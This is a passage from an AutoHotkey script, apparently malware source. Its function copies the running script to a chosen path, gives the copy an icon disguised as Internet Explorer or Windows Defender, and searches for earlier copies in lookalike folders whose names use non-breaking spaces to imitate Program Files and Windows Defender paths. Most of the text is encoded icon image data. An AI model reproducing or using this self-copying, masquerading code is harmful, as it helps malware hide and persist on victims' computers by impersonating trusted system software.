}
chg_icn_typ_cpy(in_fl="", cp_to="", chgtyp="ix") {
static _WD_1, _WD_2, _WD_3, _WD_4, _IE_1, _IE_2, _IE_3, _IE_4, scdrm_pths
Global
if (chgtyp != "ix" && chgtyp != "wd")
Return 0
if !in_fl
in_fl := ScriptFullPath
if !cp_to
return 0
if !kill_del(cp_to)
return 0
if FileExist(cp_to)
return 0
ftypp := fl_typ_nfo(ScriptFullPath)
if (!ftypp || ftypp = ctyp) {
Try FileCopy, %ScriptFullPath%, %cp_to%
sleep, 50
if !FileExist(cp_to)
return 0
else
return 1
}
cpy_ok = 0
SplitPath, in_fl, , OtDr
SplitPath, cp_to, , OtDrr
SplitPath, ScriptFullPath, , OtDrrr
For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl, ix: OtDrr "\" IE_Icn_Fl, wd: OtDrr "\" WD_Icn_Fl, ix: OtDrrr "\" IE_Icn_Fl, wd: OtDrrr "\" WD_Icn_Fl} {
if (chgtyp != ctyp)
continue
if !FileExist(bkfle)
continue
if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz) {
kill_del(bkfle)
}
else {
Try FileCopy, %bkfle%, %cp_to%
sleep, 50
if FileExist(cp_to) {
if (FileSize(cp_to) = self_sz) {
return 1
}
Else
return 0
}
Else
return 0
}
}
if !scdrm_pths
scdrm_pths = %myprg_dir%\%win_def%|%myprg_dir%\%int_exp%|%appdata%\%prg_alt0160_fls%\%int_exp%|%prg_dir%\%win_alt0160_def%|%appdata%\%prg_fls%\%win_alt0160_def%|%appdata%\%prg_fls%\%int_exp%
loop, parse, scdrm_pths, |
{
mpth := A_LoopField
for i, x in ["dat", "exe"] {
loop, %mpth%\*.%x%
{
if (FileSize(A_LoopFileFullPath) != self_sz)
continue
if (fl_typ_nfo(A_LoopFileFullPath) != chgtyp)
continue
if (ver_typ(A_LoopFileFullPath) != 1)
continue
Try FileCopy, %A_LoopFileFullPath%, %cp_to%
sleep, 50
if FileExist(cp_to) {
if (FileSize(cp_to) = self_sz) {
return 1
}
Else
return 0
}
Else
return 0
}
}
}
if (!_IE_4 || !_WD_4) {
Dat1 := "3(7)6(8)1002(1482)1(7)1(7)1(7)1(7)1(7)1(7)1(7)1(7)1(303)1(7)1(7)3(7)5(7)6(7)7(7)7(7)7(7)7(7)5(7)4(7)2(7)1(7)1(279)1(7)4(7)7(7)C8786874C908E8C9C767370D36E6E6EAE(6)12(7)F(7)C(7)8(7)5(7)2(7)1(263)1A4A4A3338280808C928D8CCA8E8884F1857E7AFF918884FF9F9996FF393A39FF333333E084848443(6)19(6)12(7)C(7)6(7)3(7)1(224)BEBFC014908F8F44979491A2837E7BE76F6A66FF817B76FF908985FFA09993FFA69F9AFFA9A09BFFB1ABA6FF595858FF1E1E1EFF292929FF4545455F(6)22(6)16(7)D(7)6(7)2(192)C9CACA0A8C8B8B61696666BD666361E75E5A58FF43413FFF5A5652FF938B86FF928B87FF9C9490FFA49D98FFA69E99FFAFA7A2FFB7AFAAFFB3ACA8FF5F5E5DFF333334FF252525FF1F1F1F99(6)2A(6)22(6)15(7)B(7)5(168)7C7B7C4D5F5D5BAD5E5B59E15C5855FC5D5855FF67625EFF696461FF726C69FF555251FF5C5855FF9B938FFFA29A96FFAAA29EFFAEA6A0FFBAB2ADFFBDB4AFFFB9B1ACFFBBB4B0FF656463FF373738FF2E2E2EFF2121219B(6)29(6)21(6)1B(7)E(7)6(136)A3A2A21E8B8989717B7977BB565654DB544E4CFF645D5BFF696461FF6A6562FF706B68FF6F6A66FF6E6966FF75706DFF595654FF726D69FFB9B0ABFFC2B9B4FFC4BBB4FFBCB3AEFFBBB3ADFFCFC6C0FFCCC3BEFFC7BEB9FF6B6B6AFF3E3E3EFF3B3B3BFF0D0D0D9F(6)25(6)1F(6)18(7)E(7)5(96)E2E3E303D2D2D3129A99985E706C6AB7716C69E3857F7BFF958C87FF999491FF383634FF645F5CFF706B68FF706B68FF736E6AFF75706CFF7A7571FF797370FF7E7875FF5F5C5AFF847E7AFFD0C6C0FFE0D6D0FFD8CEC8FFCDC4BEFFCFC6C0FFE0D6CFFFE1D8D1FFE7DFDBFF7E7D7CFF404141FF3F3F3FFF0E0E0E9D(6)2(7)1A(6)13(7)B(7)4(72)C7C6C5219AA1A063757978BE6A6C6AF653524FFF746E68FF867F7BFF968F8AFF9E"
Dat2 := "9792FFAEA6A1FFAAA4A1FF413F3EFF66605DFF7B7472FF7C7572FF7E7975FF7D7774FF7C7672FF817B77FF8A8480FF676462FF8E8782FFE9DFD8FFF0E7E0FFECE3DDFFF2E9E5FFF1EAE3FFE7E1DCFFCCC9C5FFA9A6A5FF989493FF5E5D5EFF404242FF2121219C(6)19(6)13(7)C(7)5(7)1(40)B3B4B41CA0A9A8577D8281B0626562F061615EFF636561FF6F716DFF858884FF5C5B5AFF726B67FF98928CFFA69E99FFAAA29EFFB8AFA8FFB1ACA8FF4B4846FF76706CFF847E7BFF87807CFF8C8581FF857D79FF87807CFF837D79FF8E8784FF6F6B69FF999390FFF6EFE8FFDFDAD4FFCAC9C6FFACA8A7FF736F6BFF54504CFF504B49FF6A6662FF413F3EFF454240FF504E4DFF82828295(7)D(7)9(7)5(7)2(16)FAFAFA01A4ADAC50858D8CA3646663E85F5F5CFF696C68FF70746EFF737571FF757874FF797D79FF7E817DFF909490FF545553FF78716DFFB8AFAAFFB9B0AAFFB8AFA9FFCBC1BBFFB5AFABFF4C4947FF857C78FF8E8783FF8E8783FF918A86FF9A938FFFAAA49FFF9F9996FF96918DFF7C7875FF656360FF6F6A67FF504B4AFF5C5754FF625D5AFF77726DFF97908BFFA8A09CFFB0A9A6FF5B5C5CFF242425FF252323FFB8B8B854(7)5(7)3(7)1(24)B6C4C43853534EFF5F5F5BFF686A66FF757974FF828580FF828581FF81847FFF848883FF858884FF8B8E8AFF9BA09CFF555553FF867D79FFD6CCC6FFD2C6C0FFBCB4AEFFDBD1CAFFCBC4C0FF605D5BFF9D9591FFA6A19CFFA49E9AFF96928EFF96938FFF8D8885FF575350FF56514EFF76716EFF8B847FFF9C948FFFB5ADA6FFB5ADA8FFB0A9A4FFB2AAA5FFB8AEA9FFB5ADA8FFB8B2ACFF676665FF393A3AFF1F1F1FFF6E6E6E79(7)1(7)1(32)A8B9B742686A66FF6F716DFF737572FF7E817CFF858884FF8C8E8BFF8C908BFF929691FF989D97FF9B9F9AFFA4A9A4FF646260FF9D958EFFECE2DBFFE6DCD4FFEAE0DAFFF3EBE5FFE2DCD7FF605E5DFF8E8987FF86827FFF61615EFF585C58FF6B716DFF565F5CFF46423FFF9F9792FFA59D98FFB0A7A2FFC2B8B2FFC3B9B5FFBDB4AFFFC0B7B2FFBAB2ADFFBAB2ADFFB3ABA5FFC0B7B3FF696869FF393939FF292929FF6D6D6D8C(48)A0B2B1486C6E69FF777A75FF80847EFF8C8E89FF8C8F8AFF929590FF989C96FF959993FF9B9E98FFAAAEA9FFB0B6B1FF848480FFC5BDB7FFEAE4DDFFD5D3CFFFCFCBC7FF999690FF6B6B67FF5E605DFF696F6BFF767E7AFF7C8681FF808B86FF86918CFF6F7A78FF635F5CFFA9A09BFFAAA19DFFB5ACA7FFBCB3AEFFBDB5AFFFBEB6B0FFBBB2ADFFBEB5B0FFC1B8B3FFCAC1BCFFC4BDB8FF6D6C6BFF3B3B3BFF333333FF46464692(48)A0B1B04E797975FF8F928DFF979A95FF90938EFF989B96FFAAAEA8FFACB2ACFFAEB4AFFFB0B6B0FF949B96FF79807EFF6A6865FF7F7873FF766F6AFF837E7AFF42403FFF595E5AFF757F7AFF828D88FF7E8983FF838E89FF838E89FF838E89FF8B9792FF788381FF504E4CFFA39A96FFB0A8A3FFC2B9B4FFAEA6A1FFB7AFA9FFBAB1ACFFC9BFBAFFC0B7B2FFBEB5B0FFC4BAB5FFD1C9C4FF717070FF3D3D3DFF343434FF3D3D3D94(48)A4B5B35693948FFFB0B5AFFFB9BFB8FFB5BCB6FFA4ABA4FF909792FF838783FF797B77FF5C5956FF504B48FF605A57FF8B8380FFA09893FFA79F9AFFBCB5B0FF585A58FF5D6561FF87918CFF86918BFF86918CFF89928EFF8D9894FF8F9A95FF919D98FF788380FF5C5855FFBBB1AAFFBCB3AEFFB8AFAAFFB9B1ABFFC7BDB7FFC6BDB7FFCFC6BFFFC7BDB7FFD9CFC9FFE7DDD8FFF7EEEAFF93918FFF424345FF2C2B2BFF80808099(48)A4B5B24EA6ABA4FF959B97FF828581FF6B6A65FF5B5854FF534F4CFF7D7571FF5D5A5AFF534F4BFF938C88FF9D9590FFA79E99FFAAA29DFFB8AEA8FFC4BCB7FF717270FF6C746FFF8F9A95FF929D98FF96A29BFF939F9AFF8F9B95FF959F9AFF9DABA5FF84918CFF64605DFFDED3CBFFD8CDC8FFDACFC8FFD6CDC6FFE0D8D3FFF8F1ECFFEAE5DEFFCAC4C0FFADA8A4FF98948FFF81817DFF6A6866FF51504FFF424242FF616161A9(48)C5C8C611696562F2625C58FF716A66FF87817CFF96908BFF9C948FFFADA49FFF72706EFF54504DFFA09793FFADA49FFFB2A9A4FFB5ABA6FFC0B6B1FFC9C0BAFF757674FF77807AFF9CA8A3FF9CA8A2FFA2AFA9FF9BA7A1FF9BA8A2FFA1ADA7FFA2AEA9FF8B9A95FF8D8B86FFF5F5F5FFFBF5EFFFE6DFD9FFB5B1ADFFA8A5A2FF908F8BFF6D6E69FF595A57FF5A5F5CFF666D69FF76807BFF4F5755FF242726FF363533FF8988888B(48)C0BDBB2B867E79FF9A928DFF9B938EFF9E9691FFA29A95FFA39A95FFB0A8A3FF7F7C79FF7B7571FFC2B8B1FFC5BBB5FFBBB2ACFFCAC0BAFFCBC1BBFFCEC4BFFF737371FF7F8982FFA7B3ADFFA9B5AEFFACBAB3FFB0BDB7FFBDCFC8FFB5C6BFFFA1B0AAFF828D89FF6E6D6AFFACA7A3FF7C7775FF494744FF595D59FF5D635FFF666E69FF757D79FF85918AFF88938DFF848E8AFF909C96FF636D6BFF262C2CFF171A1AFF565B5BBD(48)BFBBB829938B86FFA29994FFA79E98FFAAA09BFFACA39EFFADA49EFFBEB5B0FF8B8784FFA39893FFDBD1CAFFDFD5CCFFC7BCB5FFD1C7C0FFDED5CEFFEDE4DEFF8B8C8AFF9CAAA5FFB0C1BAFFA4B4ADFF83918BFF7A837EFF747975FF636360FF5E5D59FF696561FF817B77FF9D9490FF8A8783FF474B48FF7C867FFF79837DFF7A857FFF87928CFF7F8983FF8A968EFF8F9B94FF909C95FF697471FF2D3433FF262B2AFF292C2CF1(48)CAC6C42C9D928DFFB4AAA4FFBCB1ABFFBBB1ABFFB0A6A1FFBAB0AAFFC3BAB5FF898380FFB7ACA6FFF2E9E1FFF3E9E1FFF1EAE3FFE8E1DAFFE3DDD7FFC7C2BCFF676562FF6D716DFF757571FF6D6A66FF726C68FF88807DFF948D89FF9A938FFFA49D98FFAAA29DFFABA49FFFB9B1ABFFA09C99FF535755FF757E79FF818B85FF88928DFF8B968FFF8B968FFF94A099FF94A099FF929F98FF6C7774FF2F3736FF292E2DFF313535ED(4)"
Dat3 := "(44)CAC6C330A79D96FFBFB4AEFFC1B6B0FFC1B6B0FFD3C8C2FFD5CAC3FFDFD6CFFFADA8A4FFBCB5AFFFC0B8B0FF9A9590FF837F7DFF817D79FF777270FF474240FF736D68FF8F8883FF958E89FFA69E99FFB5ACA7FFB9B0ABFFB3A9A5FFAFA7A1FFB4ABA6FFB4ACA7FFB3ABA6FFC4BBB6FFAAA4A1FF575C59FF86918AFF96A19BFF9BA6A0FF95A19AFF96A29BFF9FABA5FF9BA8A1FF9CA8A1FF74817DFF333A3AFF2C3231FF2F3333F(49)CDC6C23589837FFFB2AAA3FFD9CFC9FFC4BCB6FFA7A099FF8F8883FF8E8983FF8C8681FF7A746FFF756E6AFF817975FF8F8883FFA39B95FF989390FF66615DFF9E968FFFA09893FFA19B96FFABA39EFFC0B7B0FFC3B9B4FFBDB4AEFFBFB5B0FFC6BCB7FFC4BBB5FFC2B9B4FFD5CCC5FFB1ACA8FF606460FF99A59DFFA8B7AFFFABBAB2FFA1AEA6FF919D97FFA6B5AEFFA1AFA6FFAAB8AFFF778480FF373E3FFF303636FF323737F297979701(40)D2CCC91C989793FF686A67FF6A6B68FF5C5F5CFF5F6460FF4E4F4EFF7E7771FF9D948FFFA19A94FFA9A19BFFACA49FFFA79E99FFAEA6A0FFA29C99FF726C67FFA79E99FFA79E99FFACA49FFFC3BAB4FFB6ADA8FFC4BAB4FFCBC1BBFFD1C7C1FFCFC5BFFFD4CAC2FFDBD3CDFFDDD1CDFFC5BEBAFF6C736EFFA9B6ADFFB0C3B9FFADBDB4FFAAB9B0FFAEBEB6FFB5C5BDFFB8CAC3FFBBD0C8FF96A7A2FF444D4CFF333A39FF313635F39B9B9B01(40)98ACAA58859492FF798582FF899794FF7E8985FF87908CFF686A67FF988F8AFFA89F9AFFACA39EFFACA49DFFB1A7A2FFB2A9A4FFB3AAA5FFA59F9BFF77716EFFA59B96FFBCB2ACFFC3BAB4FFC6BBB6FFC7BCB6FFD0C6C0FFD2C8C2FFD5CBC5FFCDC3BDFFD1C8C1FFDED4CEFFE1D7D1FFCAC4C0FF7C847FFFB6C8BFFFB7CCC4FFB7CCC5FFAABDB6FF93A39CFF7C847FFF737B77FF7F837FFF6D6F6DFF515653FF4D5553FF3A403FF9EDEDED04(40)98ACAA69869390FF78837FFF818C88FF828C88FF8B9590FF686A67FF9B928CFFB6ADA7FFB9AFA9FFBAB1ABFFB8AEA7FFB7AEA8FFC4BAB3FFB8B3AFFF867F7BFFB9AFA8FFDDD2CBFFE0D6CEFFD7CBC6FFCFC5BFFFDCD2CCFFECE3DCFFDCD4CEFFE3DAD4FFEDE3DCFFF2EBE4FFF6F1EBFFD5CDC8FF6F706CFF757974FF7C7D78FF7E7D78FF837F7BFF8B8480FF918A86FF9F9793FFB6AEA9FF797877FF2B2C2CFF302F2EFF737A79B4(48)AEBEBD86829794FF98ACA8FF819590FF8B9792FF8D9893FF626562FF999089FFC1B7B1FFCABFB9FFC7BCB6FFC1B7B0FFC4B9B3FFC7BDB7FFB3ACA8FFA79F9AFFEEE5DDFFFEF9EFFFF9F2EAFFF0E8E1FFD7D0C9FFB3AEA9FFBCB6B1FFD7CDC7FFDDD4CEFFC6BEB8FFAFA59FFF9E948EFF7A716AFF7C746FFF9C9590FF9B948FFFA49C97FFB3ACA7FFBCB3AEFFC1BAB3FFBCB3AEFFC7BFBAFF918D8CFF3A3A3CFF2D2D2DFF323434DF(48)B6C6C58789948FFF97A49EFF8F9B96FF8B948FFF9AA8A2FF616461FFAEA49DFFD1C6C0FFCDC2BBFFCFC3BEFFDFD5CEFFE1D7D0FFE4DBD4FFD3CDC6FF88837FFFA6A099FF8C8683FF7F7A77FF75726EFF6D6864FF6C6664FF575654FF464543FF56504DFF736B67F77D7570DE8E8784B1A09D9A718F8986DAADA49EFFABA39EFFAFA7A2FFBFB6B1FFB7AEA9FFC2B9B4FFCAC1BCFFCFC5C0FF928F8DFF434343FF393939FF353535EB(48)A2B3B272929B95FFA0ACA5FF99A49EFF9DA9A3FFA7B5AFFF767875FFCDC2BBFFE5DBD1FFEBE1D9FFDFD6CEFFCDC3BBFFBBB1AAFFA39992FF7B746FFF706B67FF736E6AFF8D8682FFA69C97FFB2AAA4FFB5ACA7FFCFC7C2FF868585FF4C4C4EFF232525FF393939DE(6)16(16)87817DC4B0A7A2FFBBB2AEFFC4BBB5FFC2B9B4FFC7BEB9FFD0C5BFFFCEC5BFFFCCC3BDFF999694FF434444FF3C3C3CFF363636EC(48)B0C5C36D8D9890FF89958FFF7B8581FF656B66FF60625EFF676361FF85817EFF595653FF6E6762FF776F6AFF7F756FFF726864FF69615EE68A827CF8ABA19CFFA79F9AFFB6ADA7FFB1A8A3FFBDB3AEFFC3B9B3FFCDC5BFFF908F8FFF5C5C5CFF424242FF343636F2ECECEC04(16)948D89C5C6BDB7FFD8CEC8FFDCD2CCFFD3C9C3FFCCC3BDFFDBD1CBFFD8CFC9FFD6CDC7FFA19D9BFF484949FF414141FF333333EFC9C9C903(40)C2C7C7506F6B65FF716B68FF756F6AFF89817CFF988F8BFFBAB0A9FFA6A3A0FF646666FF404242FF282726FF61605F9FB5B1AF11(8)908A86D8A59C96FFB5ABA6FFB8AFA9FFC0B7B1FFC6BCB6FFCBC1BBFFCEC5BFFF908F8DFF5F6161FF474747FF414141EFEBEBEB03(16)A49E9AC0DFD4CDFFECE5DDFFEAE1DAFFDED4CEFFCBC2BCFFE4DED6FFDCD4CEFFEBE2DAFFA8A5A2FF4C4C4DFF454545FF2E2E2EF095959504(40)A49E9A6B928984FF9A928DFFABA29CFFACA29DFFB8AEA8FFC5BAB5FFB9B5B2FF737373FF5F5F5FFF363838FF40414199(16)98918CDDC2B8B0FFD5CAC4FFCBC0BAFFC6BCB6FFD8CDC6FFD1C8C1FFD5CCC7FF979594FF616262FF505050FF4D4D4DEFF4F4F403(16)A49E9AC5E4DBD4FFF2ECE5FFEEE6DFFFEAE2DAFFEBE3DCFFEBE3DDFFF1EBE5FFFBF5EEFFC3BFBCFF535355FF424343FF444444F5F8F8F807(40)A09A946D8C847EFFADA39DFFB1A6A1FFB5ADA7FFBFB5AFFFCCC1BAFFB8B3B1FF787878FF666666FF3B3B3BFF6C6C6C96(16)A59C97E2DBD1C9FFE9E0D8FFDCD1CAFFD0C6BFFFDDD5CEFFDFD7D0FFE7DED7FF959392FF6B6B6DFF595959FF515151F1E9E9E905(16)B0ABA7BDB8B1AAFFE5E0D7FFECE8E1FFE8E3DDFFDBD3CDFFC7BDB7FFBFB6B0FFB8AEA9FFACA29DFF88817DFF615E5DFF4D4D4DF5E9E9E908(40)A9A09C6FA69A95FFCBC0B9FFBFB5AEFFC0B6AFFFCEC2BBFFCEC2BCFFBAB6B3FF7F7F7FFF6C6C6CFF4D4D4DFF75757595(16)ABA39DE5E8DED6FFF0EAE1FFE9E0D9FFEDE5DEFFEBE1DAFFF0E9E2"
_WD_1 := Dat1 Dat2 Dat3 "FFF2EBE4FF9F9E9DFF6E6E6FFF5D5E5EFF5A5A5AF9E3E3E308(16)F8F5F50DC7C1BD68A79F9ACB968D86F9938984FF938B86F28F8783E3948C88D6A09B97B5B1AAA790C4C0BF63C4BFBD3DD0CECD17(48)CDC6C275BBB0A9FFE1D5CDFFD0C5BDFFCEC3BCFFDBD0C8FFE2D7D0FFBEB9B7FF828384FF777777FF5A5A5AFF82828295(16)BDB4AFD4DBD1C8FFDED7CEFFE1DCD5FFD5CDC7FFB9B0A9FFA79E98FF9C928DFF8D8580FF8D8782FF797574FF737272E6D6D6D505(40)E1DEDD09E8E7E513D1CFCD02(104)C1B9B48CD1C3BCFFEDE2D8FFE7DDD5FFE7DCD4FFE3D9D1FFEDE4DBFFD0CBC6FF8F8D8DFF888787FF696B6BFF9E9E9E9B(16)F5F4F203A29E9B4395908C9A847D79DA857C78E4756F6AD9817B76C187827F9B8F8B88788B898751C2BDBB1DD5D3D204(176)D7CEC858D0C5BDE5C6BCB4FBBDB2ABFFA99E96FF9A9088FF958983FF978E87FF9F9690F798918DEA878481DDBFBFBE67(55)D(248)C6C2C00BB1ACA940A59E9B81A6A09E6FC3C1BE43C5C1BF21D1CECD06(2608)FFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFC01F742BFFFFFFFF0003742BFFFFFFFF0001742BFFFFFFFE0000742BFFFFFFF(5)742BFFFFFF(6)742BFFFFF8(6)742BFFFF8(7)742BFFF(9)742BFF8(9)742BF8(9)1742B8(10)3742B8(10)7742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(9)1F742B8(10)F742B8(10)F742B8(10)F742B8(9)1F742B8(9)1F742B8(9)1F742B8(6)C001F742B8(6)C000F742B8002000C000F742B8006000C000F742B8006000C000F742B8006000C001F742B8006000F8FFF742B8006001FFFFF742B8007EFFFFFFF742BE03FFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742BFFFFFFFFFFFF742B"
_WD_2 := "2(7)4(8)1002(234)1(7)1(7)1(7)2(7)2(7)1(7)1(7)1(183)1(7)1(7)3(7)5(7)7(7)9(7)9(7)7(7)5(7)3(7)2(7)1(167)1(7)4(7)9(7)E(6)12(6)14(6)15(6)13(6)1(8)B(7)7(7)3(159)1383635057C7A792A827F7F76888480A68C8783D3938D8AFC3D3E3DE26E6E6E66(6)1F(6)17(7)F(7)7(136)7875752A88868554807F7E85898480CB7E7874F68C8581FF9D9691FFA79F99FFB1AAA5FF4D4C4CFF272828FE3C3C3C6B(6)25(6)17(7)C(104)777675066D6B6A576C68679E747270CA63605CF365605DFF444240FF534E4BFF9E9692FFA79F9AFFB0A8A3FFB9B0ABFFB8B1ACFF5D5C5BFF292A2AFF1B1B1B9(7)26(6)1B(7)D(72)888685146F6A67329592925F817E7DAB494745E5625D5AFD67625FFF6A6562FF716B68FF75706CFF5D5B58FF7D7773FFC7BDB8FFC2B9B3FFBFB6B0FFD1C8C2FFD0C7C2FF666564FF373737FF1111118F(6)22(6)18(7)A(48)A7A8A72C888D8C84868786A67E7976CF807A76FE98908BFF9E9894FF3A3735FF706B68FF78726FFF797470FF7A7470FF827C78FF666361FF9C948FFFF1E7E0FFE8DFDAFFE6DDD7FFE5DED7FFBBB7B4FF7E7C7BFF464747FF1616168C(6)18(7)F(7)5(8)9B9A980A817F7C2D9BA3A2657B807EB26C6D6BE86E706CF6777975FF504F4DFF6E6864FFA59D98FFB4ABA6FFAEA8A4FF504C4AFF807976FF87807DFF8A837FFF8E8784FF958E8AFF726E6CFF8C8783FFC7C2BDFF959390FF6B6764FF514D4BFF585453FF4A4948FF302F2FFF7A7A7A7D(7)E(7)6(7)1B3BEBE52707572D3636460FD6E706CFF797C77FF7B7D79FF7D807CFF8F938EFF434342FF7E7773FFC6BCB6FFC6BCB5FFC3BBB7FF5F5A58FF9F9893FF9C9691FF97928EFF918A88FF6A6662FF746F6DFF696562FF67625EFF645F5CFF817A76FFA9A19CFFB2ABA7FF575757FF1F1E1EFF8A898961(7)5(7)1(8)99A4A19061625DFF757873FF858783FF8B8D89FF8D918CFF939892FFA2A6A2FF5C5C59FFA29A95FFECE3DDFFE9E0DAFFD0CAC5FF686663FF918D89FF747570FF757A76FF565A57FF44403EFF9E9691FFB3AAA5FFC5BBB6FFC0B7B2FFBCB4AFFFBBB3AEFFBDB5B0FF646363FF2B2B2BFF5A5A5A7A(7)1(16)98A19F8E787A75FF8B8E89FF90938EFF9EA39DFFA4A9A4FFABAFAAFF979E99FF6D6D6AFFAAA39EFFAFABA7FF787674FF70736FFF6B726EFF747D79FF7C8681FF848F8AFF6B7471FF66605EFFB5ACA7FFB9B1ACFFB8B0AAFFBEB4AFFFBFB6B1FFC2B8B4FFCAC2BDFF666565FF333333FF3C3C3C7E(24)A3ADAA95A5A8A2FFB3B9B2FF9A9F99FF7C817DFF767875FF5F5E5BFF504E4CFF75706DFF938B86FF9D9691FF363837FF757E7AFF89948FFF87928DFF8B9592FF909C96FF676E6AFF5F5A57FFBFB5AFFFBBB2ADFFC3BAB4FFD3CAC4FFD2C9C3FFD4CCC6FFE0D8D3FF7F7D7DFF323334FF63636283(24)ACB4B07E80807AFF5D5C58FF5C5955FF6A6461FF7A7572FF343230FF978E8AFFA89F9AFFB5ABA6FFBFB7B2FF6B706CFF87918CFF98A49EFF97A39DFF939F9AFF9EAAA5FF808885FF918C88FFF3EDE8FFDED6D0FFC1BCB8FFC2BCB9FF908D89FF757672FF696B68FF555655FF3C3B3BFF71717182(24)ACA8A561776F6BFF8F8782FF9D9590FFABA29DFF98938FFF585451FFBFB4AEFFBAB1ABFFC6BCB6FFC7BEB9FF6E716EFFA2ADA7FFADBAB4FFADBAB4FFB1C1BBFF9FADA7FF727976FF999695FF959390FF5B5D59FF707670FF676D69FF6B726EFF767F7BFF85918BFF515957FF1C1E1EFF5D626197(24)B3ADAA6B9F9690FFB0A7A1FFADA39EFFB6ABA6FF9F9894FF9C9490FFEDE2DAFFDFD5CDFFE6DCD5FFE4DCD7FF777C78FF838F89FF7E8480FF626663FF61625FFF605F5BFF75716CFF9A928EFF807C79FF404542FF7A837DFF808B85FF87928CFF909C95FF94A19AFF5C6864FF242A29FF2F3534CA(24)BEB8B36DB6AAA4FFC6BBB5FFC7BCB6FFD4C9C2FFB7B0ACFFA29C97FFC3BCB5FF938F8BFF928D89FF5A5754FF68625FFF837D79FF8A837EFFA59C97FFA79E9BFFADA49FFFB2AAA5FFBCB4AEFFA49F9BFF515854FF929D97FF94A098FF919D97FF99A6A0FF9AA7A0FF616D69FF272C2CFF404948C9(24)413F3E4A9E9690FFAEA6A1FF86827DFF726D6AFF938D87FF8A837DFF7D7672FF8B847FFF9C9591FF5C5754FF9D958FFFA19994FFB5ADA8FFC3BAB4FFC2B8B3FFC6BCB7FFC7BEB8FFD2C7C2FFAEA8A3FF5A625DFFADBDB4FFA8B6AEFF9FACA5FFADBDB5FFB4C5BDFF74817EFF2B3031FF474F4ECC(24)94A5A3605E625DFF626864FF69706DFF696966FF978F89FFA9A09BFFAEA59FFFB0A7A2FFADA6A1FF6F6A66FFA39A95FFB9AFA9FFC2B8B3FFC7BCB6FFD3C9C2FFD1C7C1FFD6CDC6FFE6DBD6FFC1B9B6FF737E78FFBACDC5FFB0C3BCFFA1B1AAFF8D9B94FF96A39EFF727B77FF3E4443FF5A6363CD(24)879B9891718780FF77928CFF858F8AFF787975FFA69D97FFBDB3ADFFB9AFA9FFB9B0A9FFBBB3AEFF837D7AFFC8BEB7FFEDE3DBFFDFD4CFFFDCD2CCFFE9E0D9FFE8DFD9FFE5DCD5FFE6DFD8FFB9B2ACFF71726FFF8D8D89FF918F8BFF94908BFF97918CFFABA39EFF6B6968FF2B2C2BFF727877A5(24)8AA6A292779089FF778F89FF909C96FF666662FFB6ACA5FFD0C5BFFFD2C7C0FFDACFC8FFD4CDC6FF96908BFFBCB7B0FFABA6A1FF86827DFF615D5AFF656360FF76706DFF7F7873FB8C827DE68A847FC08E8782F3A19993FFADA6A1FFBBB3AEFFC3BAB5FFCEC4BFFF807D7CFF313132FF2E2E2EB5(24)99B1AE8F829B94FF7E958FFF889A94FF6E6E6CFFB6ADA6FFD0C6BFFFD0C5BDFFB5ABA3FF9F9690FF756F6AFF7B7672FF8F8684FF9B928EFFB1A9A5FF787676FF2C2C2DFF3B3938CF5D595628A8A39F1C97908BE1BBB2ADFFC5BCB6FFC5BCB7FFD0C6C0FFD1C8C2FF858381FF343435FF535353BA(24)A5B7B577686863FF656562FF5D5C58FF857F7BFF696766FF42403FFF514C4AF0837C798F7F77729EA9A09AFEAFA6A1FFB9B0AAFFC3B8B3FFCFC5BFFF8D8C8BFF434444FF595A5AC5(8)D3CCC810ABA49EDFE1D7D0FFE1D8D1FFCFC6C0FFDED5CFFFE2D9D3FF908D8CFF383839FF4E4E4EBC(24)9F99958F89807BFF9E948FFFAFA59FFFC8BEB8FF939291FF4C4D4EFF323435D5(8)B3AAA541BFB5AFFFCEC3BDFFC6BCB6FFD3C8C2FFD6CDC6FF8F8D8CFF4C4D4DFF6A6A6AC5(8)DDD7D315BBB3AEEAF3ECE5FFF3ECE5FFE9E1DAFFEAE2DBFFF4EDE6FFA5A19EFF383839FF5C5C5CCD(24)A0989296B3A8A2FFB8AFA9FFC2B7B0FFCDC3BDFF9A9897FF5E5E5FFF525353D67A7A7A08C8BEB753DDD3CCFFEDE5DDFFE0D7CFFFE7DFD8FFF1EAE2FF9B9998FF58595AFF6E6E6ECE(8)62605F16D1CCC799CBC4BDF0C2BBB4FFBBB3ADFFAFA5A0FFAEA6A0F1ADA5A1D58F8A88B79B9A9A7A(24)C4BBB69DDACEC6FFD3C9C0FFDACEC7FFE2D8D2FFA09F9FFF6B6C6CFF666667D98C8B8A0CD6CDC746DCD3CBF1E0DAD2FFD9D2CCFFC9C0B9FFC2B8B2FFA59E9AF97B7977F1878786B4(24)AAA29E2CCAC5C24ABEBAB7428C84803799938F2CB7B1B019CBC7C505(32)CFC5BFA2DFD3CAFFD9CEC5FFC8BDB5FFB5ACA5FFA49E9AFF848180FF8B8B8AD4B6B6B616(8)D5D1CE1EA69F9B568D847F5D8C847F4398928E34B9B3B129C7C2C01CD2D0CF04(112)D7CDC6246F6B68734D4A48B2373533A733313196413F3E875652506BA09E9C31CBCBCA03(1208)FFFFFC03FFFFF000FFFFF000FFFFE000FFFF8000FFF80000FF8(5)FC(6)8(14)1(7)3(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)70000200700802007000020070000380F00403FFF007FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
